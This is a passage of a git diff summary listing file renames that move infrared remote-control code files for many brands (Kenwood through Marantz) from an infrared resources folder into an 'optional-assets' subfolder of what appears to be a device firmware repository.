optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/VCR/184,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kenwood/VCR/184,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kingbox/h265/1,254.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Knoll/Video Projector/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/CD Player/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/DVD Player/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Receiver/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Receiver/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Blu-Ray/45,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/DVD Player/16,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/DVD Player/44,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/DVD Player/45,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/DVR/45,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Plasma/1,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Plasma/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Satellite/247,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Sound Bar/44,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/TV/1,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/TV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LXI/TV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lexicon/Receiver/130,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linn/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linn/Classic music/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linn/Classic music/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linn/Classic music/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/45,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/31,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/33,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/VCR/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/VCR/144,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/VCR/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Luxman/CD Player/204,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Luxman/Receiver/204,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MGA/VCR/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MISSION/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/MSI/Unknown_test/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/DSS/128,63.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/VCR/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Malata/DVD Player/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/DVD/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/DVD/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/24,24.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/24,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Projector/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/176,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/24,24.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/24,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Tuner/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Tuner/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Tuner/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/VCR/134,97.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/VCR/23,-1.ir (100%) rename assets/resources/infrared/{ => 